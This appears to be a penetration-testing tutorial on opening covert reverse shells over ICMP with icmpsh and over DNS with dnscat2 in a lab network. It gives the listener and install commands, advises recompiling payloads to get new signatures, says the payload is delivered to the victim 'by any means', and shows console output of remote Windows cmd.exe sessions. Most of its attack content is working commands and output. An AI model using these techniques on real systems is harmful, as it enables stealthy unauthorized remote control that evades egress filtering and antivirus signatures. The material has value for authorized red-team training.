So far we have seen just common ways to gain a shell and using the most common tools however, there are time when you need to be quiet.
ICMP
This kind of technique is most succesfull for internal assessment but chances are that the egress filtering is more permissive that it should be and allows external pings.
The tool for this is HERE
You can find the compiled version of the tool and the source code, I would recommend that you should recompile the code so you will have a new signature.
For this exercise I changed the code a little bit to be standalone with out any parameter.
Master
You will need a Linux box in order to have a proper connectivity you will need to execute this:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
Then you will have to run the master:
python icmpsh_m.py
missing mandatory options. Execute as root:
./icmpsh-m.py <source IP address> <destination IP address>
In our lab we will have something like:
python icmpsh_m.py 192.168.56.161 192.168.56.163
The master will keep listening.
Slave
By any means you will have to deliver the payload into the system.

Once the user executes the file you will see you connection back.
python icmpsh_m.py 192.168.56.161 192.168.56.163
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.C:\Users\tester\Desktop>whoami
whoami
tester-pc\testerC:\Users\tester\Desktop>
Pros:
- Really small payload
- New signature every time you compile it
Cons:
- You need ICMP enabled and allowed
- Mostly internal assessment
- You need to know the IP of the client
- Too much noise
DNS
Another way to gain external and internal shell is using DNS protocol, for this to work properly you will need an authoritative DNS server so you can do recursive DNS queries.
The tool used was THIS
Like the previous tool I would suggest to compile the tool your self rather than using the precompiled versions.
For this example we will use the direct connection but I have tested using an authoritative DNS server and the results are way much better.
Master
This tool is written in Ruby you need to follow the next steps to compile it:
git clone https://github.com/iagox86/dnscat2.git
Cloning into ‘dnscat2’…
remote: Counting objects: 6508, done.
remote: Total 6508 (delta 0), reused 0 (delta 0), pack-reused 6508
Receiving objects: 100% (6508/6508), 3.79 MiB | 3.76 MiB/s, done.
Resolving deltas: 100% (4496/4496), done.
Using GEMS
cd dnscat2/server
gem install bundler
Fetching: bundler-1.15.3.gem (100%)
Successfully installed bundler-1.15.3
Parsing documentation for bundler-1.15.3
Installing ri documentation for bundler-1.15.3
Done installing documentation for bundler after 5 seconds
1 gem installed
Installing
bundle install
Don’t run Bundler as root. Bundler can ask for sudo if it is needed, and
installing your bundle as root will break this application for all non-root
users on this machine.
Fetching gem metadata from https://rubygems.org/…………
Fetching version metadata from https://rubygems.org/.
Fetching trollop 2.1.2
Installing trollop 2.1.2
Fetching salsa20 0.1.1
Installing salsa20 0.1.1 with native extensions
Fetching sha3 1.0.1
Installing sha3 1.0.1 with native extensions
Fetching ecdsa 1.2.0
Installing ecdsa 1.2.0
Using bundler 1.15.1
Bundle complete! 4 Gemfile dependencies, 5 gems now installed.
Use `bundle info [gemname]` to see where a bundled gem is installed.
There different ways to run it depending on the DNS server:
For authoritative DNS server:
ruby ./dnscat2.rb dnsserver.org
For raw DNS server:
ruby ./dnscat2.rb
In our lab this should look like:
ruby ./dnscat2.rb
New window created: 0
New window created: crypto-debug
dnscat2> Welcome to dnscat2! Some documentation may be out of date.auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = n/a]…It looks like you didn’t give me any domains to recognize!
That’s cool, though, you can still use direct queries,
although those are less stealthy.To talk directly to the server without a domain name, run:
./dnscat –dns server=x.x.x.x,port=53 –secret=82a0d6eebefa63bf06d008734d78e626
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
Slave
After the compilations (this is really important) you need to deliver the payload, for better execution you should probably change the code to do not require parameters.
For this PoC we will skip this step.

In the master you will see:
New window created: 1
Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
For added security, please ensure the client displays the same string:> Fleecy Genome Pikey Bifold Khan Softy
To interact with this session you will use the command window
dnscat2> window 1
0 :: main [active]
crypto-debug :: Debug window for crypto stuff [*]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = [*]
1 :: command (tester-PC) [encrypted, NOT verified] [*]
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
For added security, please ensure the client displays the same string:>> Fleecy Genome Pikey Bifold Khan Softy
This is a command session!That means you can enter a dnscat2 command such as
‘ping’! For a full list of clients, try ‘help’.command (tester-PC) 1>
To execute commands:
command (tester-PC) 1> shell
Sent request to execute a shell
command (tester-PC) 1> New window created: 2
Shell session created!
This will create a new session with a normal cmd.exe spawn.
dnscat2> windows
0 :: main [active]
crypto-debug :: Debug window for crypto stuff [*]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = [*]
1 :: command (tester-PC) [encrypted, NOT verified]
2 :: cmd.exe (tester-PC) [encrypted, NOT verified] [*]
dnscat2>
Like before you will interact with it using window -i
dnscat2> window -i 2
New window created: 2
history_size (session) => 1000
Session 2 security: ENCRYPTED BUT *NOT* VALIDATED
For added security, please ensure the client displays the same string:>> Push Ravel Wisp Wears Ware Befool
This is a console session!That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don’t
see a prompt, try typing ‘pwd’ or something!To go back, type ctrl-z.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.C:\Users\tester>
cmd.exe (tester-PC) 2>cmd.exe (tester-PC) 2> whoami
tester-pc\testerC:\Users\tester>
































